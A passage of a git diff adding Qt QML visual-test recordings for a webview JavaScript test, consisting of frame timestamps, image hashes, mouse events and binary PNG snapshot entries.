"792140067e09d04b31e78be1fc9a40a2" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 71; y: 202 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 79; y: 200 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5872 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 82; y: 200 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 90; y: 196 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5888 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 96; y: 192 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 102; y: 188 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5904 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 108; y: 182 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 112; y: 176 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5920 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 116; y: 168 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 120; y: 158 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5936 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 124; y: 148 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 128; y: 136 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5952 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 130; y: 124 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 134; y: 112 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5968 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 138; y: 100 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 142; y: 88 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5984 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 144; y: 78 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6000 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 150; y: 68 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 154; y: 62 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 158; y: 56 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6016 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 162; y: 48 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6032 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 166; y: 44 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 168; y: 38 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 172; y: 32 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6048 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 174; y: 26 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 176; y: 20 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6064 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 177; y: 18 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6080 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 178; y: 16 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 178; y: 14 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6096 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 178; y: 12 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6112 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 178; y: 11 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6128 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 178; y: 10 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6144 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 179; y: 9 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6160 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 180; y: 7 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6176 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 181; y: 5 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 181; y: 4 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6192 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 182; y: 2 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 183; y: 1 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6208 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 6224 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 6240 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 6256 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 6272 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 6288 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 6304 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 6320 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 6336 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 6352 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 6368 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 6384 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 6400 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 6416 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 6432 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 6448 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 6464 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 6480 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 6496 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 6512 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 6528 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 6544 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 6560 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 6576 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 6592 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 6608 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 6624 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 6640 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 6656 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 6672 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 6688 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 6704 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 6720 + image: "evaluateJavaScript.6.png" + } + Frame { + msec: 6736 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 6752 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 6768 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 6784 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 6800 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 6816 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 6832 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 6848 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 6864 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 176; y: 1 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 174; y: 15 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 172; y: 31 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6880 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 166; y: 47 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 162; y: 63 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6896 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 156; y: 81 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 150; y: 95 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6912 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 144; y: 107 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 138; y: 119 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6928 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 132; y: 127 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 126; y: 133 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6944 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 122; y: 137 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 120; y: 138 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6960 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 120; y: 139 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6976 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 6992 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 7008 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 7024 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 7040 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 7056 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 7072 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 119; y: 137 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7088 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 7104 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 7120 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 117; y: 137 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7136 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 116; y: 139 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 115; y: 141 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7152 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 113; y: 149 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 109; y: 155 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7168 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 107; y: 165 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 103; y: 171 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7184 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 99; y: 179 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 98; y: 181 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7200 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 96; y: 187 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 95; y: 189 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7216 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 95; y: 190 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7232 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 7248 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 7264 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 7280 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 96; y: 188 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7296 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 96; y: 187 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 96; y: 186 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7312 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 96; y: 185 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 97; y: 184 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7328 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 97; y: 183 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 97; y: 182 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7344 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 98; y: 180 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7360 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 98; y: 178 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7376 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 99; y: 177 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 99; y: 176 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 99; y: 174 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7392 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 7408 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 100; y: 172 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 100; y: 171 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7424 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 100; y: 170 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7440 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 100; y: 169 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7456 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 101; y: 167 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7472 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 7488 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 7504 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 101; y: 167 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7520 + hash: "04e2e16813a9cafc37077a675e279f5f" + } + Frame { + msec: 7536 + hash: "04e2e16813a9cafc37077a675e279f5f" + } + Frame { + msec: 7552 + hash: "04e2e16813a9cafc37077a675e279f5f" + } + Frame { + msec: 7568 + hash: "04e2e16813a9cafc37077a675e279f5f" + } + Frame { + msec: 7584 + hash: "04e2e16813a9cafc37077a675e279f5f" + } + Frame { + msec: 7600 + hash: "04e2e16813a9cafc37077a675e279f5f" + } + Frame { + msec: 7616 + hash: "04e2e16813a9cafc37077a675e279f5f" + } + Frame { + msec: 7632 + hash: "04e2e16813a9cafc37077a675e279f5f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 101; y: 166 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 101; y: 166 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7648 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 7664 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 7680 + image: "evaluateJavaScript.7.png" + } + Frame { + msec: 7696 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 7712 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 7728 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 7744 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 7760 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 7776 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 7792 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 7808 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 7824 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 103; y: 166 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7840 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 7856 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 105; y: 166 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7872 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 106; y: 165 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 107; y: 164 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7888 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 108; y: 164 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 109; y: 163 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7904 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 111; y: 163 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 112; y: 162 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7920 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 116; y: 158 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7936 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 118; y: 157 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 122; y: 153 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7952 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 128; y: 147 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 134; y: 139 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7968 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 140; y: 133 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 146; y: 125 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 150; y: 117 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7984 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 156; y: 109 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 160; y: 99 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 8000 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 164; y: 89 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 166; y: 77 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 8016 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 170; y: 67 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 172; y: 55 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 8032 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 176; y: 45 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 8048 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 178; y: 35 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 178; y: 27 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 180; y: 19 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 8064 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 180; y: 11 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 182; y: 5 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 8080 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 8096 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 8112 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 8128 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 8144 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 8160 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 8176 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 8192 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 8208 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 8224 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 8240 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 8256 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 8272 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 8288 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 8304 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 8320 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 8336 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 8352 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 8368 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 8384 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 8400 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 8416 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 8432 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 8448 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 8464 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 8480 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 8496 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 8512 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 8528 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 8544 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 8560 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 8576 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 8592 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 8608 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 8624 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 8640 + image: "evaluateJavaScript.8.png" + } + Frame { + msec: 8656 + hash: "792140067e09d04b31e78be1fc9a40a2" + } + Frame { + msec: 8672 + hash: "792140067e09d04b31e78be1fc9a40a2" + } +} diff --git a/tests/auto/declarative/qmlvisual/webview/javascript/data/windowObjects.0.png b/tests/auto/declarative/qmlvisual/webview/javascript/data/windowObjects.0.png new file mode 100644 index 0000000..b5c35d2 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/webview/javascript/data/windowObjects.0.png differ diff --git a/tests/auto/declarative/qmlvisual/webview/javascript/data/windowObjects.1.png b/tests/auto/declarative/qmlvisual/webview/javascript/data/windowObjects.1.png new file mode 100644 index 0000000..b5c35d2 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/webview/javascript/data/windowObjects.1.png differ diff --git a/tests/auto/declarative/qmlvisual/webview/javascript/data/windowObjects.2.png b/tests/auto/declarative/qmlvisual/webview/javascript/data/windowObjects.2.png new file mode 100644 index 0000000..28403c8 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/webview/javascript/data/windowObjects.2.png differ diff --git a/tests/auto/declarative/qmlvisual/webview/javascript/data/windowObjects.3.png b/tests/auto/declarative/qmlvisual/webview/javascript/data/windowObjects.3.png new file mode 100644 index 0000000..241b9f8 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/webview/javascript/data/windowObjects.3.png differ diff --git a/tests/auto/declarative/qmlvisual/webview/javascript/data/windowObjects.4.png b/tests/auto/declarative/qmlvisual/webview/javascript/data/windowObjects.4.png new file mode 100644 index 0000000..1877cb2 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/webview/javascript/data/windowObjects.4.png differ diff --git a/tests/auto/declarative/qmlvisual/webview/javascript/data/windowObjects.qml b/tests/auto/declarative/qmlvisual/webview/javascript/data/windowObjects.qml new file mode 100644 index 0000000..7fce295 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/webview/javascript/data/windowObjects.qml @@ -0,0 +1,2643 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 32 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 48 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 64 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 80 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 96 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 112 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 128 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 144 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 160 + hash: "b1a19797afefa71e30f4594064aa4951" + } + Frame { + msec: 176 + hash: 